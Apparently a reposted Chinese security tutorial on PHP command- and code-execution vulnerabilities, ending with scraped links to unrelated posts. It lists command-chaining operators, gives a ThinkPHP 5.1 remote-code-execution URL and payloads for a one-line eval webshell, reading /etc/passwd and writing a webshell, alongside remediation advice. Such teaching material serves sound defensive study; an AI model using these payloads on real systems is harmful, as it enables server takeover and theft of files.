本篇笔记摘自微信“黑白天”,如有侵权,联系删除

命令执行定义

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,

当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

形成原因

脚本语言优点是简洁,方便,但也伴随着一些问题,如速度慢,无法解除系统底层,如果我们开发的应用需要一些除去web的特殊功能时,就需要调用一些外部程序。带来方便的同时也存在威胁。

漏洞危害

继承Web服务程序的权限去执行系统命令或读写文件

反弹shell

控制整个网站甚至控制服务器

进一步内网渗透

代码执行与命令执行的区别

命令执行漏洞:相当于在cmd下敲命令,有一点像SSRF的利用方式

command1&command2 两个命令同时执行

command1&&command2 只有前面命令执行成功,后面命令才继续执行

command1;command2 不管前面命令执行成功没有,后面的命令继续执行

command1||command2 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令

命令执行常用函数

1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,

函数原型如下:string system(string command, int&return_var)

其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。

2. Exec:exec函数可以用来执行一个外部的应用程序

string exec (string command, array&output, int &return_var)

其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,

return_var存放执行命令后的状态值。

3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,

当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,

需要使用passthru函数来替代system与exec函数。

Passthru函数原型如下:void passthru (string command, int&return_var)

其中,command是要执行的命令,return_var存放执行命令后的状态值。

4. Shell_exec:执行shell命令并返回输出的字符串,

函数原型如下:string shell_exec (string command)

其中,command是要执行的命令。

实战  TP5.1的命令执行漏洞

在url添加上poc

/index.php?s=index/\think\Container/invokeFunction&

function=call_user_func_array&vars[]=system&vars[1][]=dir 最后加命令

修复方案

1.尽量少用执行命令的函数或者直接禁用

2.参数值尽量使用引号包括

3.在使用动态函数之前,确保使用的函数是指定的函数之一

4.在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义

5.能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用

6.对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤

7.参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义

而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。

代码执行漏洞

应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。

代码执行相关函数:

PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)

Javascript: eval

Vbscript:Execute、Eval

Python: exec

代码执行漏洞的利用:

1、一句话木马

${@eval($_POST[1])}

2、获取当前工作路径

${exit(print(getcwd()))}

使用菜刀

3、读文件

${exit(var_dump(file_get_contents($_POST[f])))}

f=/etc/passwd

使用post提交数值 f=/etc/passwd

4、写webshell

${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}

f=1.php&d=1111111

同样使用post

代码执行漏洞修复方案:

对于eval()函数一定要保证用户不能轻易接触eval参数或者用正则严格判断输入的数据格式。

对于字符串一定要使用单引号包裹可控代码,并且插入前进行addslashes

对于preg_replace放弃使用e修饰符.如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹。

python如何执行代码漏洞_命令执行与代码执行漏洞原理相关推荐

  1. python有趣的面试题_一道3行代码的Python面试题,我懵逼了...|python基础教程|python入门|python教程...

    https://www.xin3721.com/eschool/pythonxin3721/ 前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时 ...

  2. js中执行php语句_重温JS中的执行环境和作用域链

    说明:以下代码说明和原理都是基于ES5和非严格模式进行 执行环境和作用域链 执行环境定义了变量或函数有权访问的其他数据.每个执行环境都有与之关联的变量对象,一般情况下我们无法访问变量对象,解析器会在我 ...

  3. mysql 执行计划不对_关于mysql主从查询执行计划不一致问题的分析

    最近面试过程中被面试官抛了一个问题,说曾经有一个线上出现的奇怪的问题,主库和从库各种配置是一致的,当数据量比较大的时候,某些时候同样的查询,在从库里的执行计划执行成功了,而主库里没有执行这个执行计划, ...

  4. nginx 上传文件漏洞_文件上传及解析漏洞

    注:本文仅供学习参考 文件上传定义: 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等. 这种攻击方式是最为直接和有效的, ...

  5. nginx 上传文件漏洞_浅谈文件上传漏洞(其他方式绕过总结)

    前言 上一篇文章简单的介绍了绕过客户端检测,现在总结一下其他方式绕过. 正文 1.1 服务端MIME类型检测绕过 检测原理:用户上传文件时,服务器会获取这个文件的MIME值,与事先设置好的进行比对,如 ...

  6. 代码高亮_微信公众号代码高亮美化工具 Markdown Nice

    微信公众号代码高亮美化工具 使用 Chrome 浏览器把右侧生成的页面直接拷贝到微信中即可. https://www.mdnice.com/ // 目录[TOC] 1. Markdown Nice 简 ...

  7. 代码管理_阿里巴巴自研代码管理平台技术解密

    [以下为分享实录,有删节]阿里巴巴为什么要自研代码管理平台 也许你会问:为什么阿里巴巴要重新做一套代码管理平台,继续用GitLab版本不是挺好的吗?接下来从我个人的角度在这里尝试进行解答. 由于历史原 ...

  8. 代码流程图_助力理解js代码,进阶JavaScript代码能力——js2flowchart

    引言 js2flowchart 是一个可视化库,可将任何JavaScript代码转换为漂亮的SVG流程图.你可以轻松地利用它学习其他代码.设计你的代码.重构代码.解释代码.这样一个强大的神器,真的值得 ...

  9. linux下执行python脚本并传入参数_实现在Java中执行python代码或py脚本(可传参数)...

    写在前面 最近用Java写服务端程序时,遇到这样一个需求:需要把用python写的机器学习算法部署到服务器上,然后Java执行py脚本,并且取得算法执行的结果.在网上找了很久,有些跑不通,有些是基于w ...

最新文章

  1. 从linux小白到进大厂,我是怎么做到的?
  2. 趣谈网络协议笔记-二(第七,八,九讲)
  3. flink mysql connector_Flink JDBC Connector:Flink 与数据库集成最佳实践
  4. LabVIEW2015安装教程
  5. 机器学习物语(1):世界观设定
  6. 使用 ABAP 手动解析包含二进制文件的 multipart/form-data 数据时遇到的问题
  7. 响应服务器535.5.7.0AUTH,javax.mail.AuthenticationFailedException:535 5.7.3无法发送邮件
  8. javascript知识点记录(2)
  9. @staticmethod和@classmethod的作用与区别
  10. EasyPR车牌识别学习总结
  11. OPPO正式公布ColorOS 6系统:Reno新机4月10日首发适配
  12. 关于开通全国计算机技术与软件专业技术资格(水平)考试继续教育远程培训平台的通知...
  13. C语言测试:想成为嵌入式程序员应知道的0x10个基本问题
  14. Android学习笔记之Bitmap位图的缩放
  15. 波峰波谷(凸点凹点)的检测算法
  16. 【asp.net】VS 2008中文版下载
  17. 塞力斯是鸿蒙系统吗,赛力斯“驼峰”智能增程系统为何物?一亮相就引起行业沸腾...
  18. 消费复苏中的企业该走向何处?
  19. Fluent保存的h5文件无法用Tecplot打开的问题
  20. SECTION 15 函数和函数式编程(二)

热门文章

  1. Spring框架中IoC(控制反转)的原理
  2. Javascript——声明提升(函数、变量提升)
  3. Spark_Sql50题(DataFrame)
  4. 什么是实验室人员比对人员_中实在线——程老师小课堂 实验室人员管理技巧...
  5. 泉州中考分数如何计算机,2019年泉州中考总分多少分,泉州中考考试科目设置
  6. linux 25端口漏洞,一封突如其来的邮件443端口漏洞
  7. python的migratetodb_Python的Flask框架中使用Flask-Migrate扩展迁移数据库的教程
  8. MySQL 示例数据库 employees 详解
  9. js-jquery-插件开发(一)
  10. 修改同一张表的同一个字段的两个不同的值。